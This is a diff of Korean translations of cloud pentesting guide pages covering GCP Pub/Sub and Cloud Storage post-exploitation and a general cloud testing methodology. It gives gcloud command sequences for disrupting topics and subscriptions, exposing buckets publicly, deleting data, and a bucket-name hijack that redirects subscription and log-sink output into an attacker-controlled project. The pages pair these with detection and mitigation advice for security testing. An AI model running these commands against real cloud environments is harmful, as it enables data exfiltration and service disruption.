-subscriptions가 연결되어 있어도 topic을 삭제할 수 있습니다.
+구독(subscription)이 메시지를 받지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.\
+구독이 연결된 상태에서도 topic을 삭제할 수 있습니다.
 
 <details>
 
-<summary>topic 삭제</summary>
+<summary>Delete topic</summary>
 ```bash
 gcloud pubsub topics delete <TOPIC NAME>
 ```
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-이 권한을 사용해 토픽의 일부 설정을 변경하여 중단시킬 수 있습니다. 예: `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+이 권한을 사용해 topic의 일부 설정을 업데이트하여 이를 방해할 수 있습니다. 예를 들어 `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-자신에게 이전 공격들을 수행할 수 있는 권한을 부여하세요.
+이전 공격들을 수행할 수 있는 권한을 스스로 부여하세요.
 ```bash
 # Add Binding
 gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
 ```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
-웹 서버에서 모든 메시지를 가져오기:
+웹 서버에 있는 모든 메시지를 가져오기:
 
 <details>
 
-<summary>메시지 수신을 위한 push subscription 생성</summary>
+<summary>메시지를 수신하기 위한 push subscription 생성</summary>
 ```bash
 # Crete push subscription and recieve all the messages instantly in your web server
 gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
 ```
 </details>
 
-구독을 생성하고 이를 사용하여 **pull messages**:
+구독을 생성하고 이를 사용하여 **메시지를 pull**:
 
 <details>
 
-<summary>Create pull subscription and retrieve messages</summary>
+<summary>pull subscription 생성 및 메시지 가져오기</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**구독 삭제**는 로그 처리 시스템을 중단시키는 등 유용할 수 있습니다:
+**subscription 삭제**는 로그 처리 시스템이나 그와 유사한 것을 방해하는 데 유용할 수 있습니다:
 
 <details>
 
-<summary>구독 삭제</summary>
+<summary>subscription 삭제</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-이 권한을 사용해 메시지가 접근 가능한 위치(URL, Big Query table, Bucket)에 저장되도록 일부 설정을 변경하거나 단순히 이를 방해할 수 있다.
+이 권한을 사용해 메시지가 접근 가능한 위치(URL, Big Query table, Bucket)에 저장되도록 일부 설정을 변경하거나, 단순히 이를 방해할 수 있습니다.
 
 <details>
 
-<summary>구독 엔드포인트 업데이트</summary>
+<summary>Update subscription endpoint</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
 </details>
 
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
+
+Pub/Sub subscriptions는 전달된 메시지를 Cloud Storage buckets에 쓸 수 있습니다. subscription이 계속 `gs://<bucket-name>`을 가리키고 있고 attacker가 그 bucket을 delete할 수 있다면, attacker는 다른 project에서 동일한 globally-unique bucket name을 다시 create해서 subscription을 변경하지 않고도 이후 메시지를 받을 수 있습니다.
+
+이것은 attacker가 `pubsub.subscriptions.update`를 사용할 수 없지만, `storage.buckets.delete`, `storage.objects.delete`, `storage.objects.list` 같은 permissions로 destination bucket을 delete할 수 있을 때 유용할 수 있습니다.
+```bash
+# Find Cloud Storage subscriptions and their destinations
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Empty and delete the destination bucket
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name under attacker control
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Grant the Pub/Sub service agent write access if delivery requires it
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.legacyBucketReader' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** Cloud Storage에 보관된 future Pub/Sub messages의 exfiltration, including application events, failed pipeline payloads, logs, or data lake ingestion records.
+
+**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets.
+
 ### `pubsub.subscriptions.setIamPolicy`
 
-앞서 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다.
+Give yourself the permissions needed to perform any of the previously commented attacks.
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-schema를 topic에 연결하여 messages가 schema를 충족하지 못하게 만들어 topic이 중단되도록 합니다.\
-schemas가 없으면 새로 하나 생성해야 할 수도 있습니다.
+Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
+If there aren't any schemas you might need to create one.
 
 <details>
 
-<summary>schema 파일을 생성하고 topic에 연결</summary>
+<summary>Create schema file and attach to topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-이것은 스키마를 삭제하면 스키마를 충족하지 않는 메시지를 보낼 수 있게 되는 것처럼 보일 수 있습니다. 하지만 스키마가 삭제되기 때문에 실제로 어떤 메시지도 해당 토픽에 들어가지 않습니다. 따라서 이것은 **무의미**:
+이것은 스키마를 삭제하면 schema를 만족하지 않는 메시지를 보낼 수 있을 것처럼 보일 수 있습니다. 그러나 schema가 삭제되므로 어떤 메시지도 실제로 topic 안으로 들어가지 않습니다. 따라서 이것은 **USELESS**입니다:
 
 <details>
 
-<summary>스키마 삭제 (유용하지 않음)</summary>
+<summary>Delete schema (not useful)</summary>
 ```bash
 gcloud pubsub schemas delete <SCHEMA NAME>
 ```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-이전에 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다.
+이전의 주석 처리된 공격들을 수행하는 데 필요한 permissions를 스스로 부여할 수 있습니다.
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-이는 모든 unACKed 메시지의 스냅샷을 생성하여 구독(subscription)으로 다시 넣습니다. 공격자에게는 별로 유용하지 않지만, 예시는 다음과 같습니다:
+이것은 ACK되지 않은 모든 messages의 snapshot을 생성하고 이를 subscription으로 다시 넣습니다. attacker에게는 별로 유용하지 않지만, 여기서는 다음과 같습니다:
 
 <details>
 
-<summary>스냅샷 생성 후 해당 위치로 되돌리기</summary>
+<summary>Create snapshot and seek to it</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md

@@ -4,15 +4,15 @@
 
 ## Cloud Storage
 
-Cloud Storage에 대한 자세한 정보는 다음 페이지를 확인하세요:
+Cloud Storage에 대한 자세한 정보는 이 페이지를 확인하세요:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
 {{#endref}}
 
-### 공개 액세스 허용
+### Give Public Access
 
-외부 사용자(GCP에 로그인했든 아니든)에게 버킷 콘텐츠에 대한 접근을 허용할 수 있습니다. 그러나 기본적으로 버킷은 공개 노출 옵션이 비활성화되어 있습니다:
+외부 사용자(GCP에 로그인했든 아니든)에게 bucket content 접근 권한을 부여하는 것이 가능합니다. 하지만 기본적으로 bucket은 public하게 bucket을 노출하는 옵션이 비활성화되어 있습니다:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-ACLs가 비활성화된 버킷에 **ACLs를 부여하려고 하면** 다음과 같은 오류가 나타납니다: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-브라우저에서 공개된 버킷에 접근하려면 URL `https://<bucket_name>.storage.googleapis.com/` 또는 `https://<bucket_name>.storage.googleapis.com/<object_name>` 에 접속하세요
+브라우저를 통해 open buckets에 접근하려면 URL `https://<bucket_name>.storage.googleapis.com/` 또는 `https://<bucket_name>.storage.googleapis.com/<object_name>`에 access하세요
 
 ### `storage.objects.delete` (`storage.objects.get`)
 
-객체를 삭제하려면:
+object를 delete하려면:
 ```bash
 gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```
@@ -41,9 +41,41 @@ gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```bash
 gcloud storage rm -r gs://<BUCKET_NAME>
 ```
-### HMAC Keys 비활성화
+### upstream writers의 Global bucket name takeover
 
-권한 `storage.hmacKeys.update`는 HMAC Keys를 비활성화할 수 있게 해주며, 권한 `storage.hmacKeys.delete`는 Cloud Storage에 있는 서비스 계정과 연결된 HMAC Keys를 삭제할 수 있게 합니다.
+Cloud Storage bucket name은 전역적으로 unique하다. bucket을 삭제하기 전에, 어떤 automated service가 그 bucket name으로 계속 write하고 있는지 확인하라. bucket이 삭제되고 같은 name이 attacker-controlled project에서 다시 생성되면, Cloud Logging sink, Pub/Sub Cloud Storage subscription, 또는 Storage Transfer Service job 같은 upstream writers가 이후 데이터를 replacement bucket에 계속 write할 수 있다.
+```bash
+# Cloud Logging sinks using GCS
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,writerIdentity)'
+
+# Pub/Sub subscriptions writing messages into GCS
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Storage Transfer Service jobs
+gcloud transfer jobs list --project <PROJECT_ID>
+
+# Delete and reclaim the destination bucket name
+gcloud storage rm -r gs://<BUCKET_NAME>
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+```
+업스트림 서비스가 필요로 하는 경우 대체 bucket에 관련 writer identity access를 부여합니다:
+```bash
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='<WRITER_IDENTITY_MEMBER>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** 원래 router resource를 수정하지 않고도 logs, messages, transfer outputs, backups, 또는 data pipeline artifacts를 장기간 exfiltration할 수 있습니다.
+
+**Detection & Mitigation:** bucket이 sinks/subscriptions/jobs에서 참조될 때 bucket deletion을 high risk로 취급하고, dangling destinations를 alert하며, `storage.buckets.delete`를 restrict하고, 필요한 경우 중요한 export bucket에 retention policies 또는 legal holds를 사용하세요.
+
+### Deactivate HMAC Keys
+
+`storage.hmacKeys.update` permission은 HMAC keys를 disabling할 수 있게 하고, `storage.hmacKeys.delete` permission은 identity가 Cloud Storage의 service accounts와 연결된 HMAC keys를 delete할 수 있게 합니다.
 ```bash
 # Deactivate
 gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,10 +84,9 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
 gcloud storage hmac delete <ACCESS_ID>
 ```
 ### `storage.buckets.setIpFilter` & `storage.buckets.update`
+`storage.buckets.setIpFilter` 권한은 `storage.buckets.update` 권한과 함께, Cloud Storage 버킷에 IP 주소 필터를 구성할 수 있게 하며, 어떤 IP 범위 또는 주소가 버킷의 리소스에 접근할 수 있는지 지정할 수 있습니다.
 
-권한 `storage.buckets.setIpFilter`는 `storage.buckets.update` 권한과 함께 주체가 Cloud Storage 버킷의 IP 주소 필터를 구성할 수 있게 하며, 버킷 리소스에 접근을 허용할 IP 범위나 주소를 지정할 수 있습니다.
-
-IP 필터를 완전히 제거하려면 다음 명령을 사용할 수 있습니다:
+IP 필터를 완전히 지우려면, 다음 명령을 사용할 수 있습니다:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
 ```
@@ -65,7 +96,7 @@ gcloud storage buckets update gs://<BUCKET_NAME> \
 --ip-filter-file=ip-filter.json \
 --project=<PROJECT_ID>
 ```
-JSON 파일은 필터 자체를 나타내며, 다음과 같습니다:
+JSON 파일은 필터 자체를 나타내며, 대략 다음과 같습니다:
 ```bash
 {
 "mode": "Enabled",
@@ -77,7 +108,7 @@ JSON 파일은 필터 자체를 나타내며, 다음과 같습니다:
 }
 ```
 ### `storage.buckets.restore`
-버킷을 복원하려면 다음을 사용하세요:
+다음을 사용하여 bucket을 restore:
 ```bash
 gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
 --project=<PROJECT_ID>

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting Cloud 방법론
+# Pentesting Cloud Methodology
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,65 @@
 
 ## 기본 방법론
 
-각 클라우드마다 고유한 특성이 있지만, 일반적으로 클라우드 환경을 테스트할 때 **pentester가 확인해야 할 몇 가지 공통 항목**이 있습니다:
+각 cloud는 고유한 특성이 있지만, 일반적으로 cloud 환경을 테스트할 때 pentester가 확인해야 할 몇 가지 **공통 사항**이 있습니다:
 
-- **벤치마크 점검**
-- 이는 환경의 **규모를 이해**하고 **사용되는 서비스**를 파악하는 데 도움이 됩니다
-- 대부분의 테스트를 **자동화 도구**로 수행할 수 있기 때문에 일부 **빠른 misconfigurations**를 찾는 데에도 유용합니다
-- **서비스 열거**
-- 벤치마크 테스트를 제대로 수행했다면 여기서 더 많은 misconfigurations를 찾기 어렵지만, 벤치마크에서 찾아보지 않았던 항목을 발견할 수 있습니다.
-- 이를 통해 클라우드 환경에서 **정확히 무엇이 사용되는지** 알 수 있습니다
+- **Benchmark checks**
+- 이는 환경의 **규모**와 사용 중인 **services**를 **이해**하는 데 도움이 됩니다
+- 또한 대부분의 테스트를 **automated tools**로 수행할 수 있으므로 몇 가지 **quick misconfigurations**를 찾는 데도 도움이 됩니다
+- **Services Enumeration**
+- benchmark tests를 올바르게 수행했다면 여기서는 더 많은 misconfigurations를 찾지 못할 가능성이 높지만, benchmark test에서 놓쳤던 것들을 찾을 수 있습니다.
+- 이를 통해 cloud env에서 **정확히 무엇이 사용되고 있는지** 알 수 있습니다
 - 다음 단계에서 큰 도움이 됩니다
-- **노출된 자산 확인**
-- 이는 이전 섹션에서 수행할 수 있으며, 인터넷에 어떤 방식으로든 **잠재적으로 노출되어 있는 모든 것**과 그것에 어떻게 접근할 수 있는지를 찾아야 합니다.
-- 여기서는 웹 페이지가 올라가 있는 인스턴스나 다른 포트가 노출된 수동으로 노출된 인프라와, DB나 버킷과 같이 **노출되도록 설정될 수 있는 다른 클라우드 관리형 서비스**에 대해 다루고 있습니다.
-- 그런 다음 해당 리소스가 **노출될 수 있는지 아닌지**(기밀 정보? 취약점? 노출된 서비스의 misconfigurations?)를 확인해야 합니다.
-- **권한 확인**
-- 여기서는 클라우드 내 각 role/user의 **모든 권한을 파악**하고 그것들이 어떻게 사용되는지 확인해야 합니다
-- 너무 **많은 고권한(모든 것을 제어하는)** 계정이 있는가? 생성된 키가 사용되지 않고 있는가?... 대부분의 이러한 검사는 이미 벤치마크 테스트에서 수행되었어야 합니다
-- 클라이언트가 OpenID나 SAML 또는 다른 **federation**을 사용하고 있다면 각 role이 **어떻게 할당되는지**에 대해 추가 **정보**를 요청해야 할 수도 있습니다(예: admin 역할이 1명에게 할당되는 것과 100명에게 할당되는 것은 같지 않습니다)
-- 단순히 어떤 사용자가 **admin** 권한 "\*:\*"을 가지고 있는지 찾는 것만으로는 **충분하지 않습니다**. 사용되는 서비스에 따라 매우 **민감한** 많은 **다른 권한들**이 있습니다.
-- 또한 권한을 남용하여 따를 수 있는 **잠재적 privesc** 경로들이 있습니다. 이 모든 것을 고려하여 가능한 한 **많은 privesc 경로**를 보고해야 합니다.
-- **통합(Integrations) 확인**
-- 클라우드 환경 내에서 다른 클라우드나 SaaS와의 **통합이 사용되고 있을 가능성**이 높습니다.
-- **감사 대상인 클라우드가 다른 플랫폼과 통합된 경우**, 그 통합을 누가 (오용)할 수 있는지 알리고 해당 동작이 얼마나 **민감한지** 물어봐야 합니다.\
-예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓸 수 있는지(그 데이터를 처리하는 GCP에서 해당 동작이 얼마나 민감한지 물어보세요).
-- **감사 대상인 클라우드로부터 외부 플랫폼이 통합하는 경우**, 외부에서 그 통합을 누가 (오용)할 수 있는지 물어보고 그 데이터가 어떻게 사용되는지 확인해야 합니다.\
-예를 들어, 어떤 서비스가 GCR에 호스팅된 Docker 이미지를 사용한다면, 누가 그 이미지를 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내부에서 실행될 때 어떤 민감한 정보와 접근 권한을 얻을지를 물어봐야 합니다.
+- **Check exposed assets**
+- 이는 이전 섹션에서 수행할 수 있으며, 인터넷에 어떤 식으로든 **potentially exposed**되어 있는 모든 것과 그 접근 방법을 **찾아내야** 합니다.
+- 여기서는 웹 페이지나 다른 port가 열린 instance 같은 **manually exposed infrastructure**와, 노출되도록 설정할 수 있는 **cloud managed services**(예: DBs 또는 buckets)도 다룹니다
+- 그런 다음 해당 resource가 **노출될 수 있는지 여부**를 확인해야 합니다(민감한 정보? vulnerabilities? 노출된 service의 misconfigurations?)
+- **Check permissions**
+- 여기서는 cloud 내부의 각 role/user의 모든 permissions와 그 사용 방식을 **찾아내야** 합니다
+- **과도하게 높은 권한**(모든 것을 제어) 계정이 너무 많은가? 생성된 key가 사용되지 않는가?... 이런 검토의 대부분은 이미 benchmark tests에서 수행되었어야 합니다
+- client가 OpenID, SAML 또는 다른 **federation**을 사용 중이라면, **각 role이 어떻게 할당되는지**에 대한 추가 **information**을 요청해야 할 수 있습니다(관리자 role이 1명의 user에게 할당되는 것과 100명의 user에게 할당되는 것은 같지 않음)
+- 어떤 users가 **admin** 권한 "\*:\*"을 가지는지 찾는 것만으로는 **충분하지 않습니다**. 사용되는 services에 따라 매우 **sensitive**할 수 있는 **다른 permissions**가 많이 있습니다.
+- 또한 permissions를 악용하는 **potential privesc** 방법들이 있습니다. 이 모든 것을 고려해야 하며, **가능한 한 많은 privesc paths**를 보고해야 합니다.
+- **Check Integrations**
+- cloud env 내부에서 다른 clouds 또는 SaaS와의 **integrations**가 사용되고 있을 가능성이 매우 높습니다.
+- 감사 중인 cloud의 다른 platform과의 **integrations**에 대해서는 해당 integration을 **(악용)할 수 있는 접근 권한이 누가 있는지** 알려야 하며, 수행되는 동작이 **얼마나 sensitive한지** 물어봐야 합니다.\
+예를 들어, GCP가 데이터를 가져오는 AWS bucket에 누가 write할 수 있는지(그 데이터를 다룰 때 GCP에서 수행되는 동작이 얼마나 sensitive한지 물어보라).
+- 감사 중인 cloud 내부의 외부 platform에서 오는 **integrations**에 대해서는 해당 integration을 **(악용)할 수 있는 외부 접근 권한이 누가 있는지** 물어보고 그 데이터가 어떻게 사용되는지 확인해야 합니다.\
+예를 들어, service가 GCR에 호스팅된 Docker image를 사용하고 있다면, 누가 그것을 수정할 수 있는 접근 권한이 있는지, 그리고 그 image가 AWS cloud 내부에서 실행될 때 어떤 sensitive info와 access를 얻게 되는지 물어봐야 합니다.
 
-## 멀티 클라우드 도구
+### globally-unique storage에 쓰는 autonomous data streams 추적하기
 
-다양한 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 이 섹션에서 설치 단계와 링크를 안내합니다.
+post-exploitation 동안, log sinks, subscriptions, replication jobs, Firehose streams, diagnostic settings처럼 bucket이나 storage account로 쓰는 오래 지속되는 exports를 검토하세요. 대상 destination을 삭제할 수 있고 동일한 name을 attacker control 하에 다시 생성할 수 있다면, upstream service는 router resource 자체를 attacker가 업데이트할 수 없더라도 대체 destination으로 sensitive data를 계속 전달할 수 있습니다.
+
+이 체크는 관련 service 페이지에서 확인하세요:
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+{{#endref}}
+
+{{#ref}}
+azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
+
+## Multi-Cloud tools
+
+여러 cloud 환경을 테스트하는 데 사용할 수 있는 여러 tools가 있습니다. 설치 단계와 links는 이 섹션에서 안내됩니다.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-클라우드 및 클라우드/SaaS 전반에서 잘못된 구성과 privesc 경로를 **식별하는 도구**입니다.
+clouds와 clouds/SaaS 전반에서 **bad configurations**와 **privesc path**를 식별하는 tool. 
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-다음 플랫폼을 지원합니다: **AWS, GCP & Azure**. 각 공급자별 구성 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요.
+It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +172,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Steampipe를 다운로드하여 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요:
+Steampipe를 다운로드하고 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +194,9 @@ steampipe check all
 ```
 <details>
 
-<summary>모든 프로젝트 확인</summary>
+<summary>모든 Projects 확인</summary>
 
-모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 지정하는 `gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다.
+모든 projects를 확인하려면 테스트할 모든 projects를 지정하는 `gcp.spc` 파일을 생성해야 합니다. 다음 script의 지시를 따르면 됩니다
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-서비스 열거에 유용한 **다른 GCP 인사이트**를 확인하려면 다음을 사용하세요: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+**다른 GCP insights**(서비스 열거에 유용함)를 확인하려면: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Terraform GCP 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Terraform GCP code를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Steampipe의 더 많은 GCP 플러그인: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Steampipe의 더 많은 GCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Terraform AWS 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Steampipe의 더 많은 AWS 플러그인: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-python2.7이 필요하며 유지보수가 되지 않는 것으로 보입니다.
+python2.7이 필요하며, 유지보수되지 않는 것으로 보입니다.
 
 ### Nessus
 
-Nessus에는 _**Audit Cloud Infrastructure**_ 스캔이 있어 다음을 지원합니다: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure**에서 **Client Id**를 얻으려면 몇 가지 추가 구성이 필요합니다.
+Nessus에는 AWS, Azure, Office 365, Rackspace, Salesforce를 지원하는 _**Audit Cloud Infrastructure**_ 스캔이 있습니다. **Azure**에서 **Client Id**를 얻기 위해 몇 가지 추가 구성이 필요합니다.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist는 클라우드 제공업체로부터 Assets (Hostnames, IP Addresses)을 수집하기 위한 **multi-cloud tool**입니다.
+Cloudlist는 Cloud Providers에서 자산(Hostnames, IP Addresses)을 얻기 위한 **multi-cloud tool**입니다.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography는 Neo4j database 기반의 직관적인 그래프 뷰에서 인프라 자산과 이들 간의 관계를 통합하는 Python 도구입니다.
+Cartography는 Neo4j 데이터베이스로 구동되는 직관적인 그래프 뷰에서 infrastructure assets와 그들 사이의 관계를 통합하는 Python tool이다.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 통제 등 서비스와 시스템의 자산 및 관계를 수집하여 Neo4j 데이터베이스 기반의 직관적인 그래프 뷰로 제공합니다.
+Starbase는 cloud infrastructure, SaaS applications, security controls 등 서비스와 시스템에서 assets와 relationships를 수집해 Neo4j database를 기반으로 한 직관적인 graph view로 보여줍니다.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-스캔된 AWS 또는 Azure 환경에서 가장 권한이 높은 사용자를 발견합니다(예: AWS Shadow Admins 포함). powershell을 사용합니다.
+스캔한 AWS 또는 Azure 환경에서 가장 높은 권한을 가진 사용자들을 찾아냅니다. AWS Shadow Admins를 포함합니다. powershell을 사용합니다.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,13 +398,13 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-회사 (target)의 인프라, 파일 및 앱을 상위 클라우드 제공업체(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 찾아주는 도구입니다.
+상위 cloud providers(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 회사(target)의 인프라, 파일, 앱을 찾는 도구입니다.
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox는 클라우드 인프라에서 exploitable attack paths를 찾아주는 도구입니다 (현재는 AWS & Azure만 지원하며 GCP는 곧 지원될 예정입니다).
-- 수동 pentesting을 보완하기 위한 enumeration 도구입니다.
-- 클라우드 환경 내의 데이터를 생성하거나 수정하지 않습니다.
+- CloudFox는 cloud infrastructure에서 exploit 가능한 attack paths를 찾는 도구입니다(현재는 AWS & Azure만 지원하며 GCP는 예정).
+- manual pentesting을 보완하도록 설계된 enumeration 도구입니다.
+- cloud environment 내에서 어떤 데이터도 생성하거나 수정하지 않습니다.
 
 ### More lists of cloud security tools
 
@@ -410,12 +436,19 @@ aws-security/
 azure-security/
 {{#endref}}
 
-## 공통 클라우드 보안 기능
+## Common Cloud Security Features
 
-### 기밀 컴퓨팅
+### Confidential Computing
 
 {{#ref}}
